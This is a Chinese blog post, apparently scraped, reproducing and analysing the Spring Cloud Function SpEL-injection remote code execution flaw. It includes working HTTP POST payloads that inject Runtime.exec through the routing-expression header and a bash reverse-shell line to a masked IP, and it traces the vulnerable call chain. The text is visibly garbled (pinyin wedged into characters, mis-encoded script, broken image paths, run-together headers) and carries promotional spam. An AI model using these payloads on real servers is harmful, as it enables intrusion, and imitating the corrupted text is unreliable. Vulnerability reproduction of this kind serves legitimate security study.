簡(jiǎn)介
Spring Cloud功能特點(diǎn)
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403143623101.png)
影響版本
3.0.0.M3 <= Spring Cloud Function <=3.2.2
漏洞復(fù)現(xiàn)
環(huán)境搭建
選擇版本為V3.1.6
根據(jù)Tags的更新時(shí)間選擇,還是選擇3.1.6比較穩(wěn)妥,使用IDEA導(dǎo)入項(xiàng)目
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220401212613169.png)
jar包的下載確實(shí)很慢,真是麻了。實(shí)際上不用下載那么多jar包,確實(shí)用不到,導(dǎo)入項(xiàng)目于spring-cloud-function-3.1.6spring-cloud-function-3.1.6spring-cloud-function-samplesfunction-sample-pojo修改配置文件spring-cloud-function-3.1.6spring-cloud-function-3.1.6spring-cloud-function-samplesfunction-sample-pojosrcmainresourcesappliaction.properties添加
spring.cloud.function.definition:functionRouter
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402110243791.png)
配置maven啟動(dòng)項(xiàng)目
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402110326017.png)
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402110354865.png)
http://127.0.0.1:8080
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402110436556.png)
【——全網(wǎng)最全的網(wǎng)絡(luò)安全學(xué)習(xí)資料包分享給愛(ài)學(xué)習(xí)的你,關(guān)注我,私信回復(fù)“資料領(lǐng)取”獲取——】1.網(wǎng)絡(luò)安全多個(gè)方向?qū)W習(xí)路線2.全網(wǎng)最全的CTF入門(mén)學(xué)習(xí)資料3.一線大佬實(shí)戰(zhàn)經(jīng)驗(yàn)分享筆記4.網(wǎng)安大廠面試題合集5.紅藍(lán)對(duì)抗實(shí)戰(zhàn)技術(shù)秘籍6.網(wǎng)絡(luò)安全基礎(chǔ)入門(mén)、Linux、web安全、滲透測(cè)試方面視頻
利用
構(gòu)造payload
POST /Ggoodstudy HTTP/1.1Host: 127.0.0.1:8080spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“calc.exe”)Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Length: 4gdsf
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403144205124.png)
這不就吐了么,修改配置文件才能RCE????
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403205706193.png)
但是修改路由,當(dāng)路由指定為functionRouter的時(shí)候,不修改配置文件已經(jīng)可以執(zhí)行惡意payload
POST /functionRouter HTTP/1.1Host: 127.0.0.1:8080spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“calc.exe”)Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Length: 14dfdfijkghjkg
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402105622478.png)
POST請(qǐng)求且必須傳參。
反彈shell
bash -i >& /dev/tvp/xx.xxx.xx.xx/port 0>&1
進(jìn)行base64編碼,由于這里我使用的是windows環(huán)境,所以無(wú)法使用反彈shell,具體需要對(duì)反彈shell命令進(jìn)行編碼的原因在分析CVE-2018-1270的時(shí)候已經(jīng)分析過(guò)了。
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403205921339.png)
漏洞分析
首先我們需要了解到spring框架中比較常見(jiàn)的幾個(gè)jar包
- spring-beans所有應(yīng)用都要用到的,它包含訪問(wèn)配置文件、創(chuàng)建和管理bean 以及進(jìn)行Inversion of Control / Dependency Injection(IoC/DI)操作相關(guān)的所有類。
- spring-Expression進(jìn)行SpEL表達(dá)式解析
- spring-coreSpring 框架基本的核心工具類。Spring 其它組件要都要使用到這個(gè)包里的類,是其它組件的基本核心
- spring-jdbc存放對(duì)jdbc數(shù)據(jù)庫(kù)數(shù)據(jù)訪問(wèn)所有相關(guān)的類
- spring-messaging
api以及協(xié)議接口
- spring-context為Spring核心提供了大量擴(kuò)展??梢哉业绞褂肧pring ApplicationContext特性時(shí)所需的全部類等
- spring-web包含Web 應(yīng)用開(kāi)發(fā)時(shí),用到Spring 框架時(shí)所需的核心類,包括自動(dòng)載入Web Application Context 特性的類、Struts 與JSF 集成類、文件上傳的支持類、Filter 類和大量工具輔助類。
- pring-webmvc包含Spring MVC 框架相關(guān)的所有類。包括框架的Servlets,Web MVC框架,控制器和視圖支持。
向上查找利用鏈
SpEL表達(dá)式的內(nèi)容是在spring-expression中處理的,在RoutingFunction類中調(diào)用
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403135602783.png)
這里會(huì)取出spring.cloud.function.routing-expression:屬性的spel表達(dá)式
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402125700409.png)
這個(gè)方法屬于布爾型的判斷,這里的屬性構(gòu)造在請(qǐng)求頭內(nèi),調(diào)用了apply方法
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402131335916.png)
繼續(xù)向上分析
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403232506444.png)
到達(dá)SimpleFunctionRegistry.java類的698行,這個(gè)apply的方法的觸發(fā)時(shí)
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403232638460.png)
是在646行定義的,且調(diào)用方法doapply,而doapply也在apply方法中調(diào)用了,在往上查找就到了FunctionWebRequestProcessingHelper類的processRequest方法
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403232852540.png)
繼續(xù)向上查找,到了控制層了,到此為止我們的向上查找已經(jīng)結(jié)束,利用鏈很強(qiáng)清晰,那么對(duì)不對(duì)呢,我們使用向下查找利用鏈來(lái)做驗(yàn)證,請(qǐng)看下文
找到一個(gè)非常nice的入門(mén)課程,復(fù)制鏈接即可報(bào)名:
https://img.wlmqw.com/uploads/2022/07/yxtjrq2dz5v.)
調(diào)用FunctionWebRequestProcessingHelper類中的http請(qǐng)求參數(shù)方法processRequest
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403224410232.png)
可以看到processRequest方法會(huì)獲取到我們構(gòu)造payload的方法,在方法為RoutingFunction的情況下會(huì)直接調(diào)用RoutingFunction類中的applay方法
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403230139777.png)
此時(shí)我們可以看到這里調(diào)用了Route方法
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403230252876.png)
而在該方法中會(huì)讀取構(gòu)造的請(qǐng)求頭spring.cloud.function.routing-expression屬性的值,調(diào)用了方法functionFormExpression,但是在該方法中的parseExpression方法會(huì)對(duì)SpEL表達(dá)式進(jìn)行解析
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403231034277.png)
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403231137695.png)
那么我們?cè)谡{(diào)試的過(guò)程中
式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403231320620-16489988015211.png)
getValue方法執(zhí)行的又是什么呢?
這里自然是執(zhí)行的傳入的paylaod的內(nèi)容以及執(zhí)行解析后的表達(dá)式
到這里我們能夠發(fā)現(xiàn)兩條鏈剛好是對(duì)稱的,說(shuō)明分析沒(méi)有問(wèn)題。
總結(jié)
分析了spring-cloud-function可以發(fā)現(xiàn),spring框架的幾個(gè)由SpEL表達(dá)式注入造成的RCE的觸發(fā)點(diǎn)基本上都很相似,觸發(fā)類以及觸發(fā)路由分析對(duì)于漏洞挖掘來(lái)說(shuō)都有可以借鑒的地方。